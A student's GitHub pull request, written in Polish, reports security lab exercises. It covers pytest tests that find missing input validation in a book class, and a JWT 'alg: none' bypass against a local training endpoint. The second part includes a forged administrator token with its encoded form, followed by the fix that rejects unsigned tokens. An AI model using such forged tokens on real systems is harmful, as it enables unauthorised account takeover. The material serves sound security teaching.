Skip to content

Conversation

@msobol12
Copy link

@msobol12 msobol12 commented Dec 2, 2025

Zadanie 1

Do stworzenia wykorzystałam pytest. Wykonałam testy dla book

Zrzut ekranu 2025-12-02 222748

Stworzyłam 12 testów, z których 4 przechodzą, a 8 nie przechodzi. Obecna implementacja nie ma kontroli wartości, które podajemy do klasy. Brak jest kontroli długości wpisywanych wartości, jest podatna na sql injection i javasript injection.

Zadanie 2

Wysłałam request na none-obtain-token

{
    "jwt": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50IjoiQm9iIiwicm9sZSI6IlVzZXIiLCJpYXQiOjE3NjQ3MTE3OTcsImF1ZCI6Imh0dHBzOi8vMTI3LjAuMC4xL2p3dC9ub25lIn0.wnm9tXdfcrQLC1YBIbCOscDmNrwRnLVFLDYn2n-EUDo",
    "endpoint": "https://127.0.0.1/jwt/none"
}

Następnie przesłałam none-send-token z wyżej otrzymanym jwt

{
    "jwt_token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50IjoiQm9iIiwicm9sZSI6IlVzZXIiLCJpYXQiOjE3NjQ3MTE3OTcsImF1ZCI6Imh0dHBzOi8vMTI3LjAuMC4xL2p3dC9ub25lIn0.wnm9tXdfcrQLC1YBIbCOscDmNrwRnLVFLDYn2n-EUDo"
}

I otrzymałam

{
    "message": "Congrats!! You've solved the JWT challenge!!",
    "jwt_token": {
        "header": {
            "alg": "HS256",
            "typ": "JWT"
        },
        "payload": {
            "account": "Bob",
            "role": "User",
            "iat": 1764711797,
            "aud": "https://127.0.0.1/jwt/none"
        },
        "signature": "wnm9tXdfcrQLC1YBIbCOscDmNrwRnLVFLDYn2n-EUDo"
    }
}

Podawany token jwt jeżeli go zdekodujemy

{"alg":"HS256","typ":"JWT"}{"account":"Bob","role":"User","iat":1764711797,"aud":"https://127.0.0.1/jwt/none"}0om]ܭ�ՀHl#p9�g-QK
��

Aby zalogować się na konto administratora należy zmodyfikować token

{"alg":"none","typ":"JWT"}.{"account":"Administrator","role":"User","iat":1764711797,"aud":"https://127.0.0.1/jwt/none"}.

Który po zakodowaniu wygląda

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJhY2NvdW50IjoiQWRtaW5pc3RyYXRvciIsInJvbGUiOiJVc2VyIiwiaWF0IjoxNzY0NzExNzk3LCJhdWQiOiJodHRwczovLzEyNy4wLjAuMS9qd3Qvbm9uZSJ9.

I po wysłaniu tego zmodydyfikowanego tokenu udało się uzyskać dostęp do konta Administrator

Zrzut ekranu 2025-12-02 232118

Poprawka

Należy zmienić kod tak aby nie było przyjmowane alg = none
I teraz po wysłaniu przygotowanego tokenu otrzymujemy odpowiedź

Zrzut ekranu 2025-12-02 232855

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant